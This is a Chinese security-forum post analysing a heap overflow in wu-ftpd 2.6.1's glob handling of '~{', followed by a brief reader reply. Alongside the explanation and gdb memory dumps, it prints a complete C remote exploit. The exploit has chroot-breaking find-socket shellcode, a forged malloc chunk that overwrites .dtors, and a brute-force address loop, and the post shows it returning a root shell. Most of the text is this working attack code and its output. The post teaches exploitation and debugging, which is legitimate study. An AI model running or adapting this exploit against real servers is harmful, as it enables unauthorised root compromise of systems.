|
作者: group [group] 论坛用户 | 登录 |
Wuftpd 堆溢出(heap overflow )分析 作者:dove < dove@vertarmy.org> 主页:http://www.vertarmy.org/ Wu-Ftpd 是一款由华盛顿大学开发的免费的Ftp服务器,被广泛应用于各种系统,尤其在linux上。Core-sdi 小组发现了该Ftp服务器的一个堆溢出漏洞,利用改漏洞可以导致某些内存被重写。 一、漏洞原理 由于Wu-Fpd使用了glob扩展功能,来提供"文件扩展"模式来对文件进行操作。在处理扩展模式过程中,Wu-Ftpd会建立一匹配的文件列表,这些数据存储在heap区,由malloc()分配,glob扩展函数简单的返回指针给列表,然后调用blkfree()函数进行内存释放。 由于glob 在处理0x7b“{”字符串的时候导致内存错误,攻击者就可以利用改漏洞来写内存。 二、漏洞演示 终端一 bash-2.04# ftp localhost Connected to adserver. 220 adserver.hanstay.com FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready. Name (localhost:powl): ftp 331 Guest login ok, send your complete e-mail address as password. Password: //输入若干字符A 230-The response 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA' is not valid 230-Next time please use your e-mail address as your password 230- for example: joe@adserver 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls ~{ 227 Entering Passive Mode (127,0,0,1,121,228) 421 Service not available, remote server has closed connection 终端2 bash-2.04# ps -ef | grep ftpd ftp 21615 482 0 15:01 ? 00:00:00 ftpd: adserver: anonymous/AAAAAA root 21787 21136 0 15:02 pts/2 00:00:00 grep ftpd bash-2.04# gdb /usr/sbin/in.ftpd 21615 GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"...(no debugging symbols found)... /tmp/21615: No such file or directory. Attaching to program: /usr/sbin/in.ftpd, Pid 21615 Reading symbols from /lib/libcrypt.so.1...done. Loaded symbols for /lib/libcrypt.so.1 Reading symbols from /lib/libnsl.so.1...done. Loaded symbols for /lib/libnsl.so.1 Reading symbols from /lib/libresolv.so.2...done. Loaded symbols for /lib/libresolv.so.2 Reading symbols from /lib/libpam.so.0...done. Loaded symbols for /lib/libpam.so.0 Reading symbols from /lib/libdl.so.2...done. Loaded symbols for /lib/libdl.so.2 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libnss_files.so.2...done. Loaded symbols for /lib/libnss_files.so.2 Reading symbols from /lib/libnss_nisplus.so.2...done. Loaded symbols for /lib/libnss_nisplus.so.2 Reading symbols from /lib/libnss_nis.so.2...done. Loaded symbols for /lib/libnss_nis.so.2 Reading symbols from /lib/libnss_dns.so.2...done. Loaded symbols for /lib/libnss_dns.so.2 0x4014dc34 in __libc_read () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. __libc_free (mem=0x41414141) at malloc.c:3025 //free时发生错误 3025 malloc.c: No such file or directory. (gdb) Quit 整理一下思路,可见在执行ls ~{的时候导致Wu-Ftpd中的某些函数指针被覆盖导致,导致系统free出错。让我们再来看看那些有问题的代码 if (restricted_user && logged_in && $1 && strncmp($1, "/", 1) == 0){ [...] globlist = ftpglob(t); [...] } else if (logged_in && $1 && strncmp($1, "~", 1) == 0) { char **globlist; globlist = ftpglob($1); [...] } 从Wu-Ftpd的源代码中我们可以得知,Ftpd首先通过通过ftpglob函数动态为文件分配一快缓冲区域,并返回一个globlist的指针。 if (globerr) { reply(550, globerr); $$ = NULL; if (globlist) { blkfree(globlist); free((char *) globlist); } } else if (globlist) { $$ = *globlist; blkfree(&globlist[1]); free((char *) globlist); } 然后通过blkfree 来释放globlist所指向的区域。由于在使用 ~{ 参数的时候使globlist指针被重写,导致在blkfree的时候出错。 让我们在做进一步的分析。 (gdb) b ftpglob Breakpoint 1 at 0x8058c7a: file glob.c, line 113. (gdb) c Continuing. Breakpoint 1, ftpglob (v=0x8089170 "~{"} at glob.c:113 113 glob.c: No such file or directory. (gdb) x/20x 0x8089170 0x8089170: 0x40007b7e 0x40192d08 0x44444444 0x00000019 0x8089180: 0x40192ce8 0x40192ce8 0x41414141 0x00004141 0x8089190: 0x00000018 0x00000018 0x00000000 0x00000003 0x80891a0: 0x0000002f 0x00000000 0x00000000 0x00000019 0x80891b0: 0x6374652f 0x636f6c2f 0x69746c61 0x0000656d 在执行ls ~{ 的时候,v 指向0x8089170,然后就会返回给globlist.blkfree的时候会把这个地址转成0x8089170+24(要根据“ls ~{”执行方式来确定这个值,如果“ls ~{ ”后面加上参数的话,这个值就是24+参数的长度),然后开始free。从这里我们可以看到在0x8089170+24 这个地址所存放的是0x41414141,导致blkfree时出错。 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. __libc_free (mem=0x41414141) at malloc.c:3025 3025 malloc.c: No such file or directory. (gdb) 可见我们可以精心构造一个块,并把这个块的地址填充到ftpglob函数地址+24的地方,blkfree在释放这个块的时候便会执行我们所构造的shellcode 获得一个shell。 三、演示exploits /* wu-ftpd 2.6.1 glob / malloc_chunk forge remote exploit programmed by hsj : 01.11.29 ( 01.12.04 re revised ) notes: this code depends to machine / environment strongly. you have to specify three (commandbuf & rewrite & chunk addr) addresses... two methods exist in specifying these addresses. */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/time.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #define CMDBUF_ADDR 0x8084600 /* command buffer addr */ #define CHUNK_ADDR 0x808957c /* forged chunk addr */ /* this is return value of ftpglob() + 0x30 */ #define REWRITE_ADDR 0x8070b9c /* .dtors+4 */ #define ALIGN 5 /* strlen("PASS ") */ #define CRB_NUM_OFF 0x4e #define CRB_NUM 0x02 /* this is meaning chroot("../../"). */ /* it is good mostly at 0x10. however, 2.4.x */ /* kernel may complain, when the distance from */ /* ftproot to realroot differs from it. */ #define PORT_OFF 0x90 #define NOP 0x90 #define debug /* linux chroot break + find sock shellcode (198 bytes) by hsj */ char shellcode[] = "\xeb\x03\x5e\xeb\x0e\xe8\xf8\xff\xff\xff\x30\x62\x69\x6e\x31\x73" "\x68\x2e\x2e\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x8d\x5e\x01\x31\xc0" "\x88\x46\x04\x31\xc9\xfe\xc5\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0" "\x3d\xcd\x80\xfe\x0e\x31\xc0\xb0\x30\xfe\xc8\x88\x46\x04\x88\x46" "\x09\x8d\x5e\x07\x88\x63\x03\x89\xdf\x8b\x13\x31\xc9\xb1\x10\x89" "\x17\x83\xc7\x03\xe0\xf9\xb0\x3d\xcd\x80\x89\xf5\x83\xee\x20\x8d" "\x46\x0c\x89\x46\x04\x89\xc7\x8d\x46\x1c\x89\x46\x08\x31\xdb\xb3" "\x10\x89\x18\x31\xc9\xb1\xfe\x31\xc0\x89\xca\x49\x89\x0e\xb0\x66" "\xb3\x07\x89\xf1\xcd\x80\x89\xd1\x85\xc0\x75\x08\x66\x81\x7f\x02" "\x34\x12\x74\x04\xe2\xe1\xeb\x27\x49\x89\xcb\x31\xc9\xb1\x03\x31" "\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\x89\x6d\x08\x8d\x4d\x08\x8d" "\x55\x0c\x31\xc0\x89\x02\x88\x45\x07\x89\xeb\xb0\x0b\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80"; int connect_host(char *host, int port) { struct sockaddr_in address; struct hostent *hp; int sock; sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == -1) { perror("socket()"); exit(-1); } hp = gethostbyname(host); if(hp == NULL) { perror("gethostbyname()"); exit(-1); } memset(&address, 0, sizeof(address)); memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons(port); if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1) return -1; return(sock); } void ftp_send(int sock,char *buf,int len) { int n; n = write(sock,buf,len); if(n!=len) { fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n",len,n); shutdown(sock,2); close(sock); exit(-1); } } int getshell(int sock) { fd_set fd_read; char buff[1024], *cmd="/usr/bin/id;\n"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0)break; if( FD_ISSET(sock, &fd_read) ) { if((n=recv(sock,buff,sizeof(buff),0))<0) { //fprintf(stderr, "\nrecv error\n"); return -1; break; } if(write(1,buff,n)<0) { printf("write error\n"); return -1; } } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<0) { fprintf(stderr,"read error\n"); return -1; break; } if(send(sock,buff,n,0)<0)return -1;break; } usleep(10); } return 0; } int sh(int in,int out,int s) { char sbuf[128],rbuf[128]; int i,ti,fd_cnt,ret=0,slen=0,rlen=0; fd_set rd,wr; fd_cnt = in > out ? in : out; fd_cnt = s > fd_cnt ? s : fd_cnt; fd_cnt++; for(;;) { FD_ZERO(&rd); if(rlen<sizeof(rbuf)) FD_SET(s,&rd); if(slen<sizeof(sbuf)) FD_SET(in,&rd); FD_ZERO(&wr); if(slen) FD_SET(s,&wr); if(rlen) FD_SET(out,&wr); if((ti=select(fd_cnt,&rd,&wr,0,0))==(-1)) break; if(FD_ISSET(in,&rd)) { if((i=read(in,(sbuf+slen),(sizeof(sbuf)-slen)))==(-1)) { ret = -2; break; } else if(i==0) { ret = -3; break; } slen += i; if(!(--ti)) continue; } if(FD_ISSET(s,&wr)) { if((i=write(s,sbuf,slen))==(-1)) break; if(i==slen) slen = 0; else { slen -= i; memmove(sbuf,sbuf+i,slen); } if(!(--ti)) continue; } if(FD_ISSET(s,&rd)) { if((i=read(s,(rbuf+rlen),(sizeof(rbuf)-rlen)))<=0) break; rlen += i; if(!(--ti)) continue; } if(FD_ISSET(out,&wr)) { if((i=write(out,rbuf,rlen))==(-1)) break; if(i==rlen) rlen = 0; else { rlen -= i; memmove(rbuf,rbuf+i,rlen); } } } return ret; } int ftp_recv(int sock,char *buf,int buf_size,int f) { int n = 0; char q; if(f) while((n=read(sock,&q,1))==1 && q!='\n'); else { memset(buf,0,buf_size); while((read(sock,&q,1))==1 && q!='\n') { if(n<(buf_size-2)) buf[n++] = q; } buf[n++] = q; buf[n] = 0; } return n; } void ftp_login(int sock,char *u_name,char *u_pass) { char buf[2048]; sprintf(buf,"USER %s\n",u_name); ftp_send(sock,buf,strlen(buf)); ftp_recv(sock,0,0,1); sprintf(buf,"PASS %s@attacker.co.jp\n",u_pass); ftp_send(sock,buf,strlen(buf)); do { ftp_recv(sock,buf,sizeof(buf),0); }while(memcmp(buf,"230 ",4)!=0); return; } int try_to_send(char *host,int port, u_long chunk_addr) { int sock,i,j,sock2; struct sockaddr_in si; char *p,pass[480],buf[2048],chunk[48]; sock = connect_host(host,port); if(sock<0) { fprintf(stderr,"can not connect to %s.\n"); exit(-1); } ftp_recv(sock,0,0,1); i = sizeof(struct sockaddr_in); if(getsockname(sock,(struct sockaddr *)&si,&i)==-1) { perror("getsockname"); exit(-2); } shellcode[PORT_OFF+0]=(unsigned char)((si.sin_port>>0)&0xff); shellcode[PORT_OFF+1]=(unsigned char)((si.sin_port>>8)&0xff); shellcode[CRB_NUM_OFF] = CRB_NUM; memset(pass,NOP,sizeof(pass)); for(i=0,p=shellcode;*p;p++) { if(*p==(char)0xff) i++; } for(i=sizeof(pass)-(strlen(shellcode)+i)-1,p=shellcode;*p;p++) { pass[i++] = *p; if(*p==(char)0xff) pass[i++] = *p; } pass[0x50-ALIGN+0] = 0xeb; pass[0x50-ALIGN+1] = 0x10; pass[sizeof(pass)-1] = 0; fprintf(stderr,"challenge login...\n"); ftp_login(sock,"ftp",pass); fprintf(stderr,"ok.\n"); /* padding */ *(unsigned int *)&chunk[0] = 0x61616161; *(unsigned int *)&chunk[4] = 0x62626262; *(unsigned int *)&chunk[8] = 0x63636363; /* you need little endian cpu... */ *(unsigned int *)&chunk[12] = chunk_addr;//暴力猜测的地址 *(unsigned int *)&chunk[16] = 0xfffffffe; *(unsigned int *)&chunk[20] = 0xffffffff; *(unsigned int *)&chunk[24] = REWRITE_ADDR - 12; //要覆盖的地址 *(unsigned int *)&chunk[28] = CMDBUF_ADDR + 0x50; //shellcode 地址 *(unsigned int *)&chunk[32] = 0xffffffff; *(unsigned int *)&chunk[36] = 0xfffffff1; *(unsigned int *)&chunk[40] = 0xffffffff; *(unsigned int *)&chunk[44] = 0; for(i=0;i<2;i++) { strcpy(buf,"CWD ~/aabbbbcccc"); for(j=strlen(buf),p=chunk;*p;p++) { buf[j++] = *p; if(*p==(char)0xff) buf[j++] = *p; } buf[j++] = '\n'; buf[j] = 0; ftp_send(sock,buf,strlen(buf)); ftp_recv(sock,0,0,1); } #ifdef debug printf("\npress any key\n"); getchar(); #endif ftp_send(sock,"CWD ~{\r\n",10); printf("\nattack.............!\n"); sock2 = getshell(sock); if(sock2 < 0) { printf("\nattack failed\n"); return -1; } else { sh(0,1,sock); } return 1; } int brute_mode(char *host,int port, u_long chunk_addr) { int i,k; for(i=1;i<=4000;i++,chunk_addr++)//or for(i=1;i<=4000;i++,chunk_addr += 4) { printf("try address at %x",chunk_addr); k = try_to_send(host,port,chunk_addr); sleep(5); if(k > 0)//溢出成功停止循环 { break; } } return 1; } void usage(char *progname) { int i = 0; printf("Usage: %s hostname port\n", progname); printf("\nwuftpd remote malloc/free exp\n" " \nmodify by dove<dove@vertarmy.org>\n" "\nhttp://www.vertarmy.org\n"); exit(1); } int main (int argc, char *argv[]) { int k; u_long chunk_addr = CHUNK_ADDR; if(argc < 3) usage(argv[0]); k = try_to_send(argv[1],atoi(argv[2]),chunk_addr); if(k < 0) { printf("single mode failed\n"); printf("\ntry to brute mode\n"); k = brute_mode(argv[1],atoi(argv[2]),chunk_addr); if(k < 0) { printf("brute mode failed...\n"); exit(0); } } return 1; } exploit运行情况: sh-2.04$ ./exp locahost 21 challenge login... ok. press any key (gdb) b ftpglob Breakpoint 1 at 0x8058c7a: file glob.c, line 113. (gdb) c Continuing. Breakpoint 1, ftpglob (v=0x8089508 "~{") at glob.c:113 113 glob.c: No such file or directory. (gdb) x/40x 0x8089508 0x8089508: 0x40007b7e 0x40192ce8 0x63636363 0x000000a9 0x8089518: 0x40192ce8 0x40192ce8 0x0808957c 0xfffffffe 0x8089528: 0xffffffff 0x4019314c 0x080897bc 0xffffffff 0x8089538: 0xfffffff1 0xffffffff 0x00000040 0x00000040 0x8089548: 0x61612f2f 0x62626262 0x63636363 0x61616161 0x8089558: 0x62626262 0x63636363 0x0808957c p1:0xfffffffe 0x8089568: 0xffffffff 0x4019314c 0x080897bc 0xffffffff 0x8089578: 0xfffffff1 p:0xffffffff 0x00000000 0x00000039 我们所构造的chunk *(unsigned int *)&chunk[16] = 0xfffffffe; *(unsigned int *)&chunk[20] = 0xffffffff; *(unsigned int *)&chunk[24] = REWRITE_ADDR - 12; *(unsigned int *)&chunk[28] = CMDBUF_ADDR + 0x50; 让free开始free的chunk *(unsigned int *)&chunk[32] = 0xffffffff; *(unsigned int *)&chunk[36] = 0xfffffff1; *(unsigned int *)&chunk[40] = 0xffffffff; 我们知道chunk_free 的时候会转换到mem-8 ,然后在开始free. 所以在这里我用用chunk[40]在内存中的地址,来覆盖ftpglob+24的地方.在这里是0x8089578+4 的地方.(由于第二次提交的chunk在传递到blkfree的时候已经不完整了,所以我们用第一次提交的chunk,也就是这里)修改我们的chunk_addr 然后再来执行一下. (gdb) b ftpglob Breakpoint 1 at 0x8058c7a: file glob.c, line 113. (gdb) b blkfree Breakpoint 2 at 0x80598e0: file glob.c, line 623. (gdb) c Continuing. Breakpoint 1, ftpglob (v=0x8089508 "~{") at glob.c:113 113 glob.c: No such file or directory. (gdb) x/40x 0x8089508 0x8089508: 0x40007b7e 0x40192ce8 0x63636363 0x000000a9 0x8089518: 0x40192ce8 0x40192ce8 0x0808957c 0xfffffffe 0x8089528: 0xffffffff 0x4019314c 0x080897fc 0xffffffff 0x8089538: 0xfffffff1 0xffffffff 0x00000040 0x00000040 0x8089548: 0x61612f2f 0x62626262 0x63636363 0x61616161 0x8089558: 0x62626262 0x63636363 0x0808957c 0xfffffffe 0x8089568: 0xffffffff 0x4019314c 0x080897fc 0xffffffff 0x8089578: 0xfffffff1 0xffffffff 0x00000000 0x00000039 0x8089588: 0x40192ce8 0x40192ce8 0x00000000 0x00000029 0x8089598: 0x40192ce8 0x40192ce8 0x00000000 0x00000000 (gdb) c Continuing. Breakpoint 2, blkfree (av0=0x808951c) at glob.c:623//传递给blkfree 623 in glob.c (gdb) x/40x 0x808951c 0x808951c: 0x40192ce8 0x0808957c 0x00000099 0x40192ce8 0x808952c: 0x40192ce8 0x080897fc 0xffffffff 0xfffffff1 0x808953c: 0xffffffff 0x00000040 0x00000040 0x61612f2f 0x808954c: 0x62626262 0x63636363 0x61616161 0x62626262 0x808955c: 0x63636363 0x0808957c 0xfffffffe 0xffffffff 0x808956c: 0x4019314c 0x080897fc 0xffffffff 0xfffffff1 0x808957c: 0xffffffff 0x00000000 0x00000039 0x40192ce8 0x808958c: 0x40192ce8 0x00000000 0x00000029 0x40192ce8 0x808959c: 0x40192ce8 0x00000000 0x00000000 0x00000000 0x80895ac: 0x00000000 0x00000000 0x00000000 0x00000098 切换窗口看看我们的exp 运行的怎么样。 sh-2.04$ ./exp localhost 21 challenge login... ok. press any key attack.............! uid=0(root) gid=0(root) groups=50(ftp) 已经获取了root权限 :) 四、要点分析 由于该溢出我们不能直接构造chunk来获得权限,而是把chunk所在的地址传递过去,而且该值在不同环境中都不一样,提高了攻击的难度。要确定chunk_addr,shellcode, retloc的地址,才能溢出成功。虽然这个exploits里有暴力猜测的功能,但是效果不一定明显,关键是确定chunk_addr,shellcode的地址,程序中的shellcode 和 .dtors 的地址只适用于redhat7.0系统,不同系统请另行调试,以上主要展示了一些调试技术,如有错误请指正。 五、参考文章 warning3《一种新的Heap区溢出技术分析》 anonymous《Once upon a free()...》 |
地主 发表时间: 03/25 04:46 |
回复: jpcc [jpcc] 论坛用户 | 登录 |
好长呀~~~~~~~~` 不过我很菜看懂。。。 真不爽!!! |
B1层 发表时间: 03/25 05:29 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号